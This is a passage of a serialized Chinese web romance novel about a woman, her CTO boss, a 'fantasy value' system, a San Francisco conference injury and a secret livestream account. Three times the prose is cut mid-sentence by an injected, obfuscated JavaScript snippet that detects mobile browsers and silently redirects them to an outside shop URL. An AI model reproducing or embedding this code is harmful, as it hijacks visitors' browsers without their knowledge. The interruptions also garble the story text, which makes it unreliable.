但今天,或许是早餐时那句话留下的刺还在隐隐作痛,或许是脚下这双十厘米的高跟鞋给了她一种不同以往的底气。 她的目光甚至刻意地、短暂地在他那个方向停留了半秒。 ——他在。 所以报告结束,她下台,高跟鞋在地面上敲出清晰而稳定的节奏,径直穿过人群,走向他。 然后,她在程迦面前站定。 无需仰视,她的视线平直地迎上他的目光。 “你身高所在的空气,也不过如此嘛。” 说完,她不再停留,准备利落转身离开。 ——必须在这个姿态最高点抽身,才能将效果最大化。 然而,就在她重心转换、脚跟发力旋身的瞬间,鞋跟猛地一滑。 那细长的鞋跟似乎卡到了地面瓷砖间一道极细微的接缝,又或者纯粹是因为她太久没驾驭这样的高度,身体记忆生疏。 一股失衡的力道猝然从脚踝窜上小腿,她整个人不受控制地向一侧歪倒。 “咚!” 她结结实实地摔坐在了光洁冰凉的地面上。 会场仿佛被按下了静音。 耳边只剩下自己血液冲上头顶的轰鸣,和脚踝处传来的刺痛。 所有刚才撑起的冷静、从容、乃至那点挑衅般的优越感,在臀部落地的撞击中摔得粉碎。 她背对着程迦的方向,能感觉到他的目光一定落在自己背上,如芒在背。 ——丢人。 ——太丢人了。 这个念头以压倒性的优势席卷了她,比脚踝的疼痛更让她难以忍受的,是这种在刚刚宣示完挑衅后就当众摔个屁墩儿的尴尬和狼狈。 许知微几乎是用尽了全身的自制力,压下喉间可能溢出的痛呼,以及那股想要蜷缩起来躲进地缝的冲动。 双手撑地,借着胳膊的力量,她迅捷得近乎仓促地站了起来。 可站起来的那一刻,脚踝的刺痛变得更加明确,但她死死咬住牙关,脸上迅速调整回一种近乎刻板的冷静。 她迈开了步子。 每一步,脚踝都传来针扎般的抗议,但她步速均匀,走向报告厅后排一个空位,背影看起来依旧笔直,可视线外的小腿肌肉在不受控制地微微颤抖。 坐下,才像是终于获得了一道屏障。 她强迫自己将视线投向正在进行的下一场演讲,余光却警醒地、快速地向刚才摔倒的方向扫去。 ——程迦不在那里了。 终于,许知微一直紧绷的那口气骤然泄了。 她几乎是立刻,在座位遮挡下,弯腰,快速脱下了那只肇事的高跟鞋。 脚踝侧方,已经明显红肿了起来,皮肤发烫,在展厅偏冷的灯光下显得格外刺目。 刚才强行走回来的那几步,显然让情况雪上加霜,现在一动就是钻心的疼。 她盯着那片红肿,抿紧了嘴唇。 为什么,每当她在程迦面前想要抬起头来,就是这么狼狈? * 展厅这一场session结束得很利落。 掌声像被人按下了统一的开关,起、落、散。人群开始松动,交换名片的寒暄声此起彼伏,很快又被下一场议程的广播覆盖。 工作人员推着设备车从通道穿过,灯光也逐排暗了下去。 许知微坐在后排,没动。 她低头。 扭伤的脚落在平地上,脚踝处却已经明显肿起,轻轻一动就传来尖锐的痛感。 她试着把重心慢慢前移。 刚站到一半,那股疼就毫不留情地顶了上来,像有人在脚踝里拧了一把。 最终她倒抽一口气,又坐了回去,指尖无意识地收紧。 ——果然还是不行。 ——一鼓作气,光脚跑回房间? 可展馆到她房间不是一条直线,中间还要穿过走廊、拐角、电梯。 可就这么待着也不是个法子,所以她打算咬咬牙,再试一次站起来,哪怕一瘸一拐慢慢挪回去也行。 就在她身体前倾、手指撑住椅背的下一秒—— 一只手,稳稳地托住了她的手臂,力道克制,却足以在她失衡的瞬间形成一个支点。 许知微一怔。 几乎是条件反射地抬头。 ——程迦? 他脱了外套,衬衣领口敞着,神情专注地看着她的脚踝,目光停留了一瞬,眉心却极轻地蹙起。 许知微的目光顺着他的身体,落在了他身旁的东西。 ——一辆轮椅? 金属骨架在灯下反射出冷色的光,脚踏已经放下,位置正对着她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143473|196129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——什么情况? “你……”她开口,声音却比自己预想的要低,甚至忘了称呼,“你这——” “能挪两步。”程迦打断她,语气平稳,却带着一种不容置疑的判断,“就往轮椅上挪。” 他说这话的时候,终于抬眼看向她。 两人的视线在空中短暂地对上。 那一刻,许知微心里某个一直绷着的地方,轻微地震了一下。 ——这不是他平时看自己的那种目光。 没有评估,没有审视,更不是她熟悉的、用来拆解逻辑的冷静注视。 像是一种极其纯粹的关心。 “轮椅是跟会务借的。”他补了一句解释,又给她一个接受的理由,“电梯那边不好走,你这样走回去,明天脚会废掉。” 许知微沉默了一个呼吸。 理智迅速给出了判断:这当然是当前最优解,安全高效且对后续行程影响最小。 而且,在程迦这丢过脸的次数,也不差这一次了。 所以她听令坐上轮椅,可她不喜欢现在这种姿势——一如他们在公司的地位: 程迦永远高高在上,而她被他摁在低位。 所以她试图推开程迦扶着她手臂的那只手。 可程迦却收紧了力道,依旧克制,却明确地阻止了她再次发力。 然后,他微微俯身,压低了声音,只让她一个人听见: “许知微。” 他很少在私下完整叫她名字的时候。 “跟我较劲,没意思。” 这话让刚才熄火的不服气,又冲上了脑门。 许知微张了张嘴,原本准备好的反驳,却在抬头看到他的生理反应时,回流到了舌喉。 因为程迦的耳朵,红得过分,那种沿着耳廓一路蔓延要滴血的红色。 更明显的是他的呼吸——虽然克制,却明显偏快,胸腔起伏的频率比平时要急促许多。 然后是他的视线,始终落在前方。 ——不敢看自己。 这个猜想毫无征兆地浮上脑海,所有组合在一起,以极快的速度在她脑中开始推理—— 他刚才消失的那段时间,他是去找轮椅了? 也没跟她说一声,万一她自己走了呢? 难道他就要推着这么个大轮椅满会场跑? 他为什么要这么做? 担心自己? 这个认知落下的一瞬间,她心底那点因为摔倒而残留的狼狈,忽然被一种陌生又异常笃定的情绪覆盖。 ——不对。 他在早餐厅为她出声,却在她反击后选择退场; 他在展厅消失,却在她最狼狈的时候出现; 他轮椅推着她,却不敢看她; 他的耳朵红得不像话,呼吸却拼命维持着节奏。 ——程迦绝对不对劲。 ——这表现,好像是别扭又害羞。 一股极其微妙的自信,从许知微心底缓慢地浮了上来。 为了确认心里的猜想,她决定兵行险招。 成,或许今晚,就幻想结算,那可是二十多万。 电梯就在前方。 轮椅的速度很稳,几乎没有晃动。 许知微却忽然转了转身体,让自己微微侧过来,正好能看到他低垂的视线范围。 他依旧没看她。 但她能清楚地看到,他的下颌线绷紧了。 她没有立刻开口。 真正有效的进攻,不在于猝不及防,而在于时机。 所以电梯门即将合上的前一秒,她才像是随口确认一样,轻轻地、慢慢地开口: “程总。” 他应了一声,很低:“嗯。” 轮椅已经进入电梯,他站在她身后,伸手按楼层。 金属门合拢,空间骤然变得封闭而安静。 许知微抬起头盯着他,声音不高,却异常清晰,在电梯的封闭空间里,回响得如同审判: “你是不是——” “喜欢我?” 19. 恼怒 许知微回到酒店房间,几乎是把自己摔进床里的。 另一只鞋没脱好,外套随意散落,身体陷进柔软床垫时,一阵迟来却汹涌的尴尬,才从骨头缝里、从四肢百骸,彻底漫了上来。 方才那一幕无比清晰地重播了—— 电梯里,密闭空间,她仰着头,看着他那张近在咫尺却毫无波澜的脸,那句被她掷出的问句: ——你是不是喜欢我? 当时,她是真的以为天平在自己这边,以为抓住了他所有压抑的证据链。 可程迦没有回答。 他只是低下头,目光沉沉地笼罩下来,看着她。 那视线太冷静了,冷静得让她心头发毛;也太持久了,久到她能从最初的镇定,逐渐感受到自己脸上温度不受控制地攀升,心跳一声比一声擂得更响,连呼吸都开始不听使唤地发紧。 那是一种冷静的审视,像是在用目光一寸一寸地丈量她这句话背后的依据,又像是在确认一件他早已了然于胸的目的。 她被他看得,节节败退。 那点刚才还膨胀着的、自以为是的掌控感,在他无声的注视下像漏气的皮球般迅速干瘪。 她甚至开始怀疑自己是不是真的会错了意,是不是所有的证据都只是她一厢情愿的过度解读。 就在她几乎要顶不住那目光,想要仓促移开视线时。 他终于动了。 他极其平淡地移开了目光,仿佛刚才那漫长而煎熬的对视从未发生。 然后,语气平平地,扔下了一句轻描淡写的话,像是随手拂去一粒灰尘: “也没喝多,说什么胡话。” ——啪。 一句话,将她所有试探、所有观察、所有鼓起的勇气和那点隐秘的期待,轻而易举地、体面地,按回了同事和上下级那条泾渭分明的线之后。 现在回想起来,还是只剩下两个字,在脑海里无限放大、加粗、循环播放: ——丢人。 她在程迦面前,又丢了一个大的。 他总是这样,用最从容不迫的姿态,四两拨千斤地化解,并反衬出自己的冒失跟丢人。 她翻了个身,把发烫的脸深深埋进微凉的枕头里,长长地吐出一口气,想把胸腔里那股挥之不去的憋闷感也一同挤出去。 【你怎么还在纠结这个?】 主控的声音在脑海里响起,带着一种系统特有的不耐烦。 许知微没吭声,只是把枕头抱得更紧了些。 【对一个生理和心理功能正常的成年男性来说,喜欢一个女性,最直接、最无法伪装的表现是什么,数据模型早就告诉过你了。】 她闭着眼,睫毛却在不安地颤动。 【是幻想。】主控的声音冰冷而确凿,【是荷尔蒙与多巴胺驱动下,无法自控的、带有明确指向性的x幻想。这是底层逻辑,无法绕过。】 【可这么多年了,你这里,】主控顿了顿,像是在调取一份为零的记录,【一条来自他的幻想记录都没有。】 【这难道,还不够说明问题吗?】 最后这句话,像一根细小的针,扎在她心头那点不肯死心的希冀上。 她眉心微微蹙起,下意识地、带着点自己也说不清的不服气,在脑海里反驳:“……可我就感觉他今天……有点不一样。” 话刚说完,她自己都愣了一下。 这语气……怎么听起来有点像在为自己找借口,甚至,带着点陷入单恋时的固执? 她是来赚钱的,又不是来走心的。 【哪里不一样?】主控逻辑严密地追问,不给她模糊的空间。 她没回答,但那些细节却在心里翻滚:他看她脚踝时那一蹙眉的瞬间,他红得异常的耳朵,他避开视线时紧绷的下颌线,还有那句看似为她解围、实则将她推远的胡话。 这些碎片拼凑出的,是一种无法被简单归类的异常。 主控沉默了两秒,像是在进行复杂的概率计算。 【若你坚持认为存在不一样的变量,】它最终开口,声音恢复了平板的陈述,【那么,最有效的验证方式,就是等待观测结果。】 【如果他真的从今天开始,对你产生了超越常规的关注或情感波动,那么根据模型,伴随而来的生理性幻想,将是无法抑制的。你今晚,有很大概率会收到来自他的幻想值提示。】 【从任务角度而言,】主控顿了顿,语气甚至带上了一丝程式化的鼓励,【这难道不是值得期待的好事么?】 房间重新陷入寂静,只有空调低沉的送风声。 许知微望着天花板上的光影。 如果——收不到呢? 这个假设刚冒头,就被她用力压了下去。 不能再想了。 再想下去,就真的成了患得患失,落入了自己最不屑的情绪陷阱。 再次重申一遍,她是来赚钱的,不是来走心的。 走肾也不行! 于是她翻了个身,拉起被子,将自己严严实实地裹住,然后闭上了眼睛。 等等吧。 毕竟是价值二十多万的幻想呢,当然值得等待。 * 可这一夜,过得比她想象中漫长。 酒店的窗帘拉得很严,城市的灯光被隔绝在外,房间里只剩下空调低缓而规律的送风声。 许知微侧躺在床上,手机屏幕暗了又亮,亮了又暗。 她没有睡。 脚踝在涂了冰敷之后,已经从尖锐的刺痛退成一种迟钝的酸胀,不足以让她失眠。 真正让她清醒的,是等待跟时差。 主控没有再催促,只是安静地挂在意识边缘。 她每隔一会儿,都会下意识地扫一眼系统提示区。 空的。 时间一点点滑过去。 倒是定时发布的身材照按部就班地完成了任务。 系统后台很快跳出提示——幻想值入账,一条接一条,来自完全陌生的ID。 她扫了一眼就关掉了。 这些幻想她早就麻木,它们像流水线产品,数量可观,却不怎么值钱。 她等的那一条,始终没有出现。 【看吧。】 主控的声音适时响起,那语调里毫不掩饰的、近乎刺耳的轻快,精准扎破了她强撑了一整夜的期待。 【我早就说过,单价高的,有单价高的原因。】 许知微没反驳。 她像是被抽空了所有力气,连在脑海里争辩的念头都显得可笑。 呆呆地盯着天花板上模糊的光影,视线涣散。 可那些白天的画面却不由分说地砸进脑海,反复鞭挞: 电梯里他自上而下、沉静到令人心慌的俯视; 那句轻飘飘落下的“说什么胡话”; 还有之后那清晰无比的、被他用最从容的姿态精准切割回安全位置的钝痛感。 难道真是她想错了? 或许那些她反复分析的异常,根本不是什么心动或压抑的证据,而仅仅是程迦这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151116|196129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人,出于顶级CTO的责任、刻入骨髓的教养? 他对任何一个受伤的下属,都会如此? 这个认知让她又一次,对自己的直觉和引以为傲的洞察力,产生了地动山摇般的怀疑。 一种混合着巨大尴尬和深重失落的寒意,从心底蔓延开来。 就在她几乎要被这自我否定的漩涡吞没时—— “叩、叩、叩。” 一阵轻轻的敲门声,突兀地撕裂了房间里的死寂。 许知微猛地一怔,从混乱的思绪中缓过来。 她看了一眼时间,才惊觉已是清晨。 撑着床沿,脚踝落地时那依旧鲜明的刺痛让她吸了口气,她皱着眉,一步步慢慢挪向门口。 门开了一条缝。 门外是面带微笑的酒店服务人员,递过来一个小小的纸袋,语气温和,带着明显的西班牙口音的英语:“这是给您的,女士。” “我没有叫任何……”她下意识地用英语回复,话音却在目光触及纸袋内物品时戛然而止。 透明的包装里,赫然是一盒云南白药气雾剂。 错愕瞬间席卷了她。 这里是美国,旧金山。 这种药绝不是酒店常备,甚至不是街角便利店能随手买到的。 服务人员适时地补充道,印证了她那个难以置信的猜想:“1409房的Cheng先生,嘱咐我们务必转交给您。” 门,在身后轻轻关上。 房间重新被寂静填满,但空气的密度却仿佛陡然改变了。 许知微站在原地,像被钉在了地毯上。手里那盒药不重,却仿佛有千钧之力。她指腹无意识地用力,按压着纸盒坚硬的边缘,几乎要留下凹痕。 一股极其复杂、猛烈、几乎要将她撕裂的情绪,轰然冲垮了方才自我怀疑的堤坝,野蛮地涌了上来。 如此贴心。 可是——! 系统里,来自他的、空空如也的幻想记录,和眼前这盒明显费了心思的药,形成了最讽刺的对比。 他做尽关怀的事,却不肯给她哪怕一丝幻想的印证! 她低头,死死盯着药盒上熟悉的字样,胸口那股郁结了一整夜的浊气,混合着被反复拉扯的困惑、被否定的不甘、以及此刻被这份关怀衬托得无比可笑的自己,终于沸腾、炸裂—— 那这到底他妈算什么?! 过剩到令人窒息的责任感? 高高在上的上司施舍? 还是……他们这种天龙人的某种怪癖? 像收集邮票一样,享受那种一切尽在掌控的优越感? 就像他经营那个“走leetcode”的账号一样?! 热衷于扮演那种看似沉默、实则游刃有余的角色,享受被注视、被仰慕、甚至被当成救世主的感觉? 这跟那些没阉割干净、到处撒尿圈地盘、用气味标记所有物的公狗,有什么区别?! 一边对潜在目标释放似是而非的信号,留下点自己的痕迹,一边根本不想、也不屑投入任何真实的情感!? 纯粹是权力感和掌控欲的本能驱遣!? 这个恶毒却又无比贴切的比喻,像一团灼热的火,猛地烧穿了所有理智的分析和温情的假象,让她在极致的愤怒中,获得了一丝清醒。 她捏着药盒的手指,因为过度用力而微微颤抖。 然后,她几乎是泄愤般,将它重重地掼在了床头柜上。 “砰”的一声闷响,在寂静的房间里格外刺耳。 20. 发现 电梯门合拢的瞬间,程迦几乎能听到自己血液冲击耳膜的声音。 “你是不是——喜欢我?” 那句话,像一颗被点燃的闪光弹,在他紧绷的神经中枢轰然炸开,强光过后,留下一片嗡鸣和灼热的残影。 他没有立刻回答。 最初的冲击过后,一种更现实的清醒攫住了他。 他低下头,目光沉沉地落在她脸上——那张仰起的、带着一种近乎挑衅的笃定,却又在眼底深处泄露出一丝不易察觉的虚张声势的脸上。 他在看。 看她的眼睛。 那双漂亮的眼睛里,有试探,有不服输,有刚刚扳回一城的隐约得意,甚至有被轮椅和此刻对峙激起的微妙恼怒。 唯独没有,他真正想看到的那种,属于许知微这个女人在询问程迦这个男人本身情感时的,慎重与紧张。 她的询问,但更像是在验证一个推论,一个带有博弈性质的推论。 她想知道答案,但这个答案对她而言,似乎更像是一个用以确认自身魅力或掌握局面的筹码,而非关乎她内心真实波动的钥匙。 这个认知,像一盆冰水,浇灭了他胸腔里因她靠近、因她质问而骤然燃起的、几乎要失控的野火。 ——如果她不是认真的。 ——如果这只是她一时兴起的试探,或是某种职场暧昧边缘的游戏。 那么他此刻任何超出上司范畴的回应,无论是承认还是否认,都会将两人之间那本就摇摇欲坠的平衡彻底打破。 如果他如实回答了,她会怎么想? 会尴尬? 会躲避? 还是会觉得他果然不过如此,轻易就被撩动? 若是如此,那他宁愿她不知道。 宁愿她继续把他当成那个冷酷、高效、偶尔不近人情但绝对安全的程总。 至少,这是他熟悉的位置。 所以,在那样漫长到令人心悸的对视后,他移开了视线,用尽所有自制力,将语气压平,吐出那句轻描淡写的话: “也没喝多,说什么胡话。” 他亲手,将那条刚刚被她莽撞撬开的缝隙,严丝合缝地焊了回去。 用最体面的方式,将两人的关系,重新锚定在安全区。 电梯上行,将她送回她的楼层,门开,他推她回了自己房间,一路无言。 之后程迦一路失神地还了轮椅,甚至都没注意到跟他打招呼的同事,离开了宾馆。 旧金山的夜风带着海湾特有的凉意,他驱车穿过睡满流浪汉的街道,按照导航,来到了中国城。 推开永福堂的玻璃门,风铃轻响。深夜值班的老先生从老花镜后抬起眼。 “有云南白药吗?喷雾剂。” * 回到酒店时,已近凌晨。 鬼使神差的,他在许知微的房门外停下,手里捏着那个轻飘飘却又沉甸甸的纸袋。 抬起的手几次悬在门前,最终缓缓收回。 最后他还是下楼去了前台,将纸袋轻轻放在台面上。 “1312的客人,”他用地道的美式英语说道,“她可能已经休息了。别打扰她。” 独自回到1409。 门关上的刹那,所有强撑的镇定瞬间垮塌。 程迦背靠着冰凉的门板,缓缓滑坐下去,抬手用力按住了突突直跳的太阳穴。 今天的一切,如同潮水般不受控制地倒灌回来—— 她摔倒在地时瞬间苍白的脸和强忍痛楚的模样。 她坐上轮椅时,手臂肌肤与他掌心接触时那细微的战栗。 她发间淡淡的香气,混在展厅沉闷的空气里,却无比清晰地萦绕在他鼻尖。 还有最后,电梯里,她仰头问出那句话时,眼中那簇混合着挑衅与不确定的、亮得惊人的光。 他逃也似的冲进浴室,用冷水一遍遍冲洗着脸,试图让躁动的血液冷却。 ——没用。 他知道自己不该,但他控制不住。 他再次解锁了系统。 那些属于“微微不微”的幻想记录,此刻成了他唯一可以安全靠近心上人的途径。 他点开最近的一条,也是他反复回溯的那一段——正是她最后一次在直播中与他互动后产生的幻想。 神游开启的瞬间,世界被熟悉的涡流吞没。 比以往任何一次都更真实,更具有侵略性。 白天的触碰——她手臂肌肤的微凉,发丝掠过的痒意,以及电梯里那声质问带来的战栗——仿佛为这些数据碎片注入了灵魂,让每一次虚拟的接触都带上了令人心悸的实感。 他一如既往,从不抵抗,任由意识沉溺。 他能感觉到她的指尖带着一种研究般的冷静与不容置疑的力度,虚拟地划过他的脊背线条。 她的气息贴近,带着一种带着温热湿意的、近乎命令的低语,在他意识的边缘清晰响起,指挥着他的每一次反应。 画面闪烁:是她微微垂眸、自上而下投来的视线,那目光里是一种全然的掌控与审视。 她的嘴唇在幻想里贴近他耳廓,吐出的不是情话,是简短清晰的指令,每一个字都带着不容反驳的重量。 他迷恋这种感觉。 迷恋这种将一切主动权、甚至将自己反应的控制权都全然交付于她的感觉。 在现实中,他不敢承认的一切,在她的幻想里,他甘愿为奴。 这是一种颠倒的快感。 他知道这近乎饮鸩止渴。 可他,甘之若饴。 他的呼吸在现实中变得沉重,额角渗出细密的汗,身体因为长时间维持僵坐而僵硬酸痛。 但他停不下来。 仿佛只有通过这种自我献祭般的方式,不断重温她曾投射在他身上的、那种全然的掌控与专注,才能勉强填补现实里那道被她无心凿开、又被自己亲手焊死的沟壑。 仿佛只有通过这种方式,才能宣泄白日里积压的所有汹涌的、无法言说的情绪;才能短暂地、虚假地,触碰到那个在现实里对他敬而远之的许知微。 夜色深沉。 程迦靠在床头,脸色在屏幕微光的映照下显得有些苍白,眼底残留着神游后的空洞与未褪尽的炽热余温。 * 倒时差的周末,总是失去形状。 窗帘拉得严实,室内光线昏暗,时间被切割成不连贯的碎片。 程迦在沙发上醒过一次,又在书房的椅子上醒过一次,意识始终悬浮在醒着和还在旧金山的中间层。 身体已经回国,神经却还没跟上。 他看了一眼时间。 晚上十点四十七。 这个时间点,本该是他直播的黄金档。 他盯着电脑屏幕发了会儿呆,像是在做一个并不急于执行的决定。 直到后台那条平直的收益曲线闯入视线,他才后知后觉地意识到—— 太久没播了。 久到连他自己都忽略了一个事实:最近这轮融资推进得异常艰难,节奏明显放缓。 表面原因很多,真实原因却只有一条。 他的幻想收益,许久没有新的进账了。 那些钱,走的是合规得不能再合规的路径——融资、咨询费、技术授权、顾问分成。 只是他比别人更清楚,这些机会为何会在某些时间段密集出现,又为何在另一些时候悄然枯竭。 程迦抬手捏了捏眉心,像是在对自己的失职做一个无声的惩罚。 理性回位,职业本能随之启动。 他起身,走进书房,打开了那套早已调试好的设备。 灯光亮起,摄像头角度自动校准。 十一点整。 他上线了。 直播间很快恢复了人气,数字缓慢却稳定地攀升。弹幕开始滚动,熟悉的问候跟调侃。 深夜的运动,一切都在他可控的节奏里。 直到—— 那个熟悉得不能再熟悉的ID,悄无声息地亮了起来。 微微不微,上线了。 程迦的指尖,在桌面上轻轻一顿,激活了那个只对她开放的定制选项。 可是这次,她没有购买,甚至连赞都没有。她只是在线,像一个安静的观测点,悬浮在数据流里。 可即使如此,一想到许知微此刻,就在他家对面。 隔着一堵墙,或许同样在倒时差,或许正窝在沙发里刷手机,正看着他。 他下颌微微绷紧,情绪也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17162176|196129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受控制地出现了微小的波动。 他强迫自己把注意力拉回到直播任务上,语调恢复一贯的平稳克制,继续如同完成任务版做着重复熟练的运动姿势。 一切如常。 直到十一点三十七分。 屏幕右下角,弹出一个小窗口。 【门铃提醒|已记录一次访客】 程迦一愣。 他直播时向来会把门铃调成静音免打扰,这个提示,只说明一件事:虽然没有门铃声,但有人在外面按了门铃。 他下意识瞥了一眼。 画面清晰地显示着门外的实时影像。 走廊灯光下,站着一个人——许知微。 他的大脑在那一瞬间,出现了极短暂的空白。 可直播还在进行。 微微不微还在线。 而现实里的她,此刻正站在他门外。 两条线,毫无缓冲地交汇在同一个节点。 他的眉心微不可察地蹙了一下。 还没来得及做出任何判断,就听见了沉闷的—— “咚、咚、咚。” 那声音穿透门板,落在他神经上,带着一种不容回避的倔强。 弹幕里已经有人察觉到异常。 【主播?怎么动作停了?】 【刚刚是不是有声音?】 【装修砸墙么?】 【哥,你卡了吗?】 程迦呼吸一沉。 那敲门声似乎没有停下的意思。 他抬手,切断了直播画面。 “稍等一下。”他语气一如既往地平稳,“处理一个普通的技术问题。” 暂停。 黑屏。 他取下面具,摘下耳机,离开书房,来到了客厅。 门外的敲门声还在响,仿佛笃定家里一定有人。 “咔哒。” 门锁转动,门向内打开。 许知微果然站在门外,灯光落在她脸上,神情平静。 “有什么事?”程迦抬眼看她,开口时声音还带着直播时的那股讨好。 “程总,”她笑道,“不好意思,这么晚打扰。刚才想起,旧金山那场的数据分析,我今晚整理完终版了,有几处关键的交叉验证结果,我觉得最好能尽快给你过一眼。” 程迦的眉心几不可察地动了一下。 数据分析? 现在? 这事他知道,但并非紧急到需要深夜敲门的程度。周一例会前给他,完全来得及。 她的工作风格向来是提前规划,留足冗余,很少有这样突然想起的紧迫。 ——有点奇怪。 但他面上不显,只是点了点头,声音平稳:“嗯,发我邮箱就好。” “好。”她应得干脆,甚至对他略一点头,算是打过招呼,然后便转身,利落地朝对门走去,没有丝毫停留或多言的意思。 见她进屋了,他也关了门回到书房,屏幕还停留在直播中断的黑屏状态,耳机里隐约传来等待的粉丝在评论区发出的疑惑询问。 他重新戴上耳机,调整了一下呼吸,准备切回画面。 然而,就在他的手指即将触碰到鼠标的前一秒,目光扫过旁边另一台显示器上用来监控直播后台数据的屏幕—— 那个属于【微微不微】的ID,在他黑屏离开的这短短一两分钟里,异常活跃地刷过了好几条信息: 【主播人呢?】 【怎么突然黑了?】 【是设备问题吗?】 【在么?】 【不会又被扫yellow抓了吧?】 【走leetcode???】 【搞什么啊!正到关键时候!】 【是不是被□□了??你说句话啊!】 【早知道你这么不稳,我就不赌了!】 一连串的问句,间隔很短,带着急促的追问意味。 程迦的指尖,悬在了半空。 一个被他强行按压下去许久得危险的猜想,如同深水中狰狞的阴影,再次不受控制而清晰地,浮上了意识。 她果然知道了。 知道“走leetcode”皮下是谁。 呼吸,在不知不觉间,屏住了。 21. 打赌 许知微是在晚上十点多,被门铃从浅眠中拽出来的。 她其实也刚洗完澡,头发还半湿,身上套着那套印着蠢兔子的宽大家居服,在沙发上对着报表睡着了。 门铃一响,她迷迷糊糊以为是外卖,拉开门。 林芮拖着行李箱站在门口,眼圈通红,鼻尖也红。 “微——!” 没等许知微反应,林芮已经一头扎进来,连人带箱子挤进门,鞋都没换利索就扑到她身上,声音带着浓重的鼻音和压不住的委屈:“我跟周峥吵架了!我今晚不回去了!收留我!” 许知微被撞得后退半步,下意识搂住她,脚踝被箱子轮子轻轻碾过,疼得她嘶了一声,这才彻底清醒。 “你怎么知道我住这儿?” “你上次搬家公司还是我帮你约的呢!”林芮一边蹬掉鞋子,一边瓮声瓮气地回答,目光扫过客厅,声音也陡然拔高。 “卧槽!许知微你发达了?!这地段!这层高!这落地窗视野——你公司真要上市了?!你背着我偷偷阶级跃迁了?!” 她拖着箱子哐当哐当走进客厅中央,每看一眼,声音就高八度:“你可以啊微微!瞒得挺严实!” 许知微本来就困,被她吵得脑仁嗡嗡直跳,没好气地转身去厨房倒水:“闭嘴。还上市?你上树了,这破公司都指不定能上。” “我为啥要上树?”林芮不明所以地反问,注意力又从探索新领域回到了抱怨,推开几扇门找到了卧室,把行李砰地丢进去,“你都不知道周峥有多过分!他这次竟然让我洗马桶!” 许知微端着水杯走回来,毫不留情地拆穿:“得了吧,肯定是你说‘家里马桶该刷了’,他回一句‘那你刷呗’,你就炸了。” 她太了解林芮,这对活宝情侣的吵架八成始于这种鸡毛蒜皮的斗嘴。 “要不咱俩换?我去替你洗马桶,你替我伺候周扒皮?” “那你的高薪工资也算我的吗?”林芮的声音从卧室飘出来,随即她人又冲出来,抱着沙发上的抱枕盘腿坐下,瞬间进入八卦模式,“哎,算了,我就是个普通码农,搞不懂你们那些算来算去的东西。对了,你这次国际展怎么样?那个超帅的周扒皮又作什么妖了?” 水杯咚一声被许知微放在茶几上。 “别提了!”她脱口而出,语气烦躁。 林芮眼睛一亮,凑近:“细说!他又怎么没人性了?” 许知微张了张嘴,却忽然卡壳。 脑子里闪过的画面让她一时语塞——没有斥责,没有压榨,只有他稳稳托住她的手,他低垂的视线,那盒不该出现的云南白药,那个被推得异常平稳的轮椅,还有电梯里他那句将她所有勇气瞬间击碎的胡话。 这次,他好像——没做什么过分的事。 反而,是她的过度反应有些越界了。 “……也没什么。”她最终含糊地带过,声音却泄露出连自己都没察觉的烦乱,“就……老样子。” 林芮敏锐地捕捉到她语气里那点不寻常的异常,挑眉:“不对劲。你……”她眯起眼,故意拉长声音,“是不是偷偷在异国他乡有艳遇了!” “少胡说八道。”许知微立刻反驳,耳根却有点发热,为了掩饰,她抓起手机,“路上捡的野男人,不干净。” 话音刚落,手机屏幕适时亮起一条推送: 【你关注的主播:走leetcode,开始直播】 她的手指像有自己的意识,瞬间点了进去。 直播画面跳出来,昏暗灯光下,那道熟悉的身影刚做完一个拉伸动作,肩背肌肉线条流畅地绷紧又舒展。 “卧槽!”林芮的惊呼几乎贴着她耳朵炸开,“这身材——男菩萨啊?!许知微你藏私货!” 许知微心里莫名一虚,像自己某个秘密角落突然被曝光,手忙脚乱想把手机按灭:“别瞎看!” “怎么不能看?”林芮伸手就抢,眼睛黏在屏幕上,“吃独食不厚道!这身材,这氛围!只是他为什么不露脸?是不是长得不行?” “不是长相问题!”许知微躲闪着,脱口而出的理由却有点苍白,“你刚跟周峥吵完架就跑来看别的男人脱光衣服运动,被他知道,估计能念叨你一辈子!” 林芮啧了一声,暂时放弃抢夺,靠回沙发,理直气壮:“不告诉他不就行了?再说了,我之前不也养过一个吗?你还记得那个阿野吗?你当时不也看了几场,还吐槽人家演卖的不像演的?” 许知微动作一顿,看向她:“记得,怎么了?” “刚塌了!”林芮压低声音,带着点隐秘的兴奋,“前阵子大瓜!直播的时候,直接被扫黄的敲门了!我当时正在看,保真的一手瓜!” “先是咚咚咚砸门声特别响,他脸都白了,还强装镇定说什么设备问题暂停一下……”林芮做了个切断的手势,“结果再也没回来,第二天新闻就出来了,直接被抓现行!” 